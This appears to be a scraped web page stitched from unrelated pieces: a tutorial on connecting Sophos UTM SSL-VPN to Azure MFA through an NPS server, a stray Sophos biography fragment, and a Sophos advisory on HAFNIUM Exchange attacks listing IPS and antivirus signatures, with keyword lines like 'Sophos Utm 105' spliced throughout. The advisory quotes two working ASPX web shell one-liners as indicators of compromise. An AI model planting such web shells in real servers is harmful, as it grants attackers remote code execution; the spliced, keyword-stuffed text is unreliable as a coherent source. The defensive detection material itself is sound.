• Sophos Home Utm Hardware
• Sophos Utm 100 Users
• Sophos Utm 10 Download
• Sophos Utm 100
• Sophos Utm 105
• Sophos Utm 9

Inspiration for this post was taken from: https://rieskaniemi.com/azuremfa-nps-extension-with-sophos-utm-firewall/

Some of the things that I’ve seen at work, is that Sophos UTM VPN users are using one token for Sophos SSLVPN and another for ex. Office 365 services. Both tokens can be in Microsoft Authenticator, but only the one that Office 365 is using, can do the “pop-up”, letting the user easy sign-in, like this:

Sep 23, 2020 I was working with Sophos SG Appliances (formally known as Astaro UTM) since 2005 (version 5.x). In the beginning I used white boxes with 2-4 NICs as my personal firewall. In January 2013 when I was about to start a new job I had the opportunity to attend a Sophos UTM technical academy. Fully-equipped software version of the Sophos UTM appliance Complete network, web, mail and web application security with VPN functionality Protects up to 50 IP addresses.

Nonetheless it’s easier for the IT dept. (and the user!) to maintain only one token solution 🙂

Here is the auth flow for Azure MFA with NPS Extension:

Nice isn’t it 😉

So how to fix?

We setup Sophos UTM for RADIUS validation for SSLVPN and UserPortal access, and if you use the built-in OTP solution, disable that 🙂

To get started:

• If you do not have MFA enabled for your Office 365/Azure AD account’s you can enable it through following link: https://aka.ms/mfasetup
• And of course you need to have set Azure AD Connect to get your on-premise talking with Azure, I will not go into the details with this here, as I assume this is already setup and working 🙂

Let’s go:

1. Install the Network Policy Server (NPS) role on your member server or domain controller. Refering to the Network Policy Server Best Practices, then you will find this “To optimize NPS authentication and authorization response times and minimize network traffic, install NPS on a domain controller.” So we will go ahead and place this on the domain controller, but remember it’s also possible to do it on a domain joined member server!
   Press “Next” and the installation begins:
2. After installation has ended, go and join the NPS to the Active Directory, right-click NPS (Local):
3. Download and install the NPS Extension for Azure MFA here:
   https://www.microsoft.com/en-us/download/details.aspx?id=54688Note: As i did try this on a server with already setup NPS, it failed with the other mechanisms, because of this:
   https://docs.microsoft.com/en-us/azure/active-directory/authentication/howto-mfa-nps-extension#control-radius-clients-that-require-mfa

   “

   Control RADIUS clients that require MFA

   Once you enable MFA for a RADIUS client using the NPS extension, all authentications for this client are required to perform MFA. If you want to enable MFA for some RADIUS clients but not others, you can configure two NPS servers and install the extension on only one of them.

   Configure RADIUS clients that you want to require MFA to send requests to the NPS server configured with the extension, and other RADIUS clients to the NPS server not configured with the extension.”

   So the “workround” is to run the MFA for the Sophos on a seprate NPS instance ?

4. After it’s installed, go and follow the configure is like it’s stated here (Find TenantID and run Powershell script):
   https://docs.microsoft.com/en-us/azure/active-directory/authentication/howto-mfa-nps-extension#azure-active-directory
5. Go and configure your radius Client, here it’s the UTM:

   
   Remember the secret, we need it later on 🙂

6. Create a “Connection request policy”:
   
   See above the NAS Identifier, it’s “ssl”, it’s taken from this scheme:

   
   Found here: https://community.sophos.com/kb/en-us/116144

   Just set like above, and the rest of the settings, just leave them to their defaults 🙂

7. Now create a “Network Policy”
   Add a domain group, that shall have this access, to simplify, here I have choose domainDomain Users
   Now the EAP types, UTM does only support PAP, as far as I have tested:

   
   You will get a warning telling you that you have choosen unencrypted auth (locally – not on the Internet!), just press OK.
   Just left the rest to their default’s and save the policy.

8. Now to create a firewall rule:
9. Now to setup the UTM for this:

   Add new Authentication server:

   Remember to choose RADIUS:

   
   Fill in as your environment matches:

   Type in the secret you wrote down earlier and create a host object for your NPS, also remember to change the timeout from 3 to 15 secs!

   You can now test is the authentication through NPS and Azure MFA is working, change NAS-Identifier to “ssl” type in a users username (e.mail adress) and password, and your phone should pop-up with Microsoft Authenticator 🙂

10. Now to grant the RADIUS users access to SSL-VPN

    Just add the built-in object “Radius Users” to your SSL-VPN profile:

11. Now login to the User Portal and download a VPN client (You cannot use the old ones, if you already had thoose installed)
12. Now connect through VPN, type in your full email in username and your password, then wait for MS Authenticator to pop-up, accept the token and you are logged into VPN 🙂

Sources:

Related Posts

Four new zero-day vulnerabilities affecting Microsoft Exchange are being actively exploited in the wild by HAFNIUM, a threat actor believed to be a nation state.

Anyone running on-premises Exchange Servers should patch them without delay, and search their networks for indicators of attack.

Sophos protections against HAFNIUM

Sophos MTR, network and endpoint security customers benefit from multiple protections against the exploitation of the new vulnerabilities.

Sophos MTR

The Sophos MTR team has been monitoring our customer environments for behaviors associated with these vulnerabilities since their announcement. If we identify any malicious activity related to these vulnerabilities, we will create a case and be in touch with you directly.

Sophos Home Utm Hardware

Sophos Firewall

IPS signatures for customers running SFOS and XFOS:

CVE	SID
CVE-2021-26855	57241, 57242, 57243, 57244, 2305106, 2305107
CVE-2021-26857	57233, 57234
CVE-2021-26858	57245, 57246
CVE-2021-27065	57245, 57246

These signatures are also present on the Endpoint IPS in Intercept X Advanced.

IPS signatures for customers running Sophos UTM:

CVE	SID
CVE-2021-26855	57241, 57242, 57243, 57244
CVE-2021-26857	57233, 57234
CVE-2021-26858	57245, 57246
CVE-2021-27065	57245, 57246

If you see these detection names on your networks you should investigate further and remediate.

Sophos Intercept X Advanced and Sophos Antivirus (SAV)

Customers can monitor the following AV signatures to identify potential HAFNIUM attacks:

Web shell related

• Troj/WebShel-L
• Troj/WebShel-M
• Troj/WebShel-N
• Troj/ASPDoor-T
• Troj/ASPDoor-U
• Troj/ASPDoor-V
• Troj/AspScChk-A
• Troj/Bckdr-RXD
• Troj/WebShel-O
• Troj/WebShel-P

Other payloads

Sophos Utm 100 Users

• Mal/Chopper-A
• Mal/Chopper-B
• ATK/Pivot-B
• AMSI/PowerCat-A (Powercat)
• AMSI/PSRev-A (Invoke-PowerShellTcpOneLine reverse shell)

Due to the dynamic nature of the web shells, the shells are blocked but need to be removed manually. If you see these detection names on your networks you should investigate further and remediate.

We have also blocked relevant C2 IP destinations, where it was safe to do so.

In addition, the “lsass dump” stages of the attack are blocked by the credential protection (CredGuard) included in all Intercept X Advanced subscriptions.

Sophos EDR

Sophos EDR customers can leverage pre-prepared queries to identify potential web shells for investigation:

When reviewing the potential web shells identified by the queries, the web shell will typically appear inside an Exchange Offline Address Book (OAB) configuration file, in the ExternalUrl field. E.g.

ExternalUrl : http://f/<script language=”JScript” runat=”server”>function Page_Load(){eval(Request[“key-here”],”unsafe”);}</script>

ExternalUrl: http://g/<script Language=”c#” runat=”server”>void Page_Load(object sender, EventArgs e){if (Request.Files.Count!=0) { Request.Files[0].SaveAs(Server.MapPath(“error.aspx”));}}</script>

Identifying signs of compromise

The Sophos MTR team has published a step-by-step guide on how to search your network for signs of compromise.

DearCry ransomware

Sophos Utm 10 Download

The actors behind DearCry ransomware are using the same vulnerabilities as the Hafnium group in their attacks. Sophos Intercept X detects and blocks Dearcry via:

Sophos Utm 100

• Troj/Ransom-GFE
• CryptoGuard

Editor note: Post updated with addition of IPS signatures for Sophos UTM and additional detections. 2021-03-10 08:35 UTC

Editor note: Post updated with additional anti-malware signatures for Intercept X and Sophos Antvirus (SAV) 2021-03-11 14:30 UTC

Sophos Utm 105

Editor note: Post updated to advise that signatures are now present on the Endpoint IPS, and the addition of two further AV signatures 2021-03-12 09:10 UTC

Sophos Utm 9

Editor note: Post updated with DearCry ransomware detections 2021-03-12 16:30 UTC